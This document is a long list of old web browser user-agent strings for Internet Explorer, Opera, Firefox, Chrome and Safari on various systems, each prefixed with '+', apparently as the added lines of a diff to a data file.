+Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 +Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 +Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 +Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 +Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 +Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 +Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3) +Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) +Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) +Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; yie8) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) +Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 +Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 +Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0) +Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0) +Mozilla/4.61 (Macintosh; I; PPC) +Mozilla/4.61 [en] (OS/2; U) +Mozilla/4.7 (compatible; OffByOne; Windows 2000) +Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1) +Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) +Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC) +Mozilla/4.8 [en] (Windows NT 5.0; U) +Mozilla/5.0 (Linux i686 ; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.70 +Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 +Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 +Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) +Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_4) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24 +Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/ Safari/530.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Chrome/ Safari/530.9 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 +Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 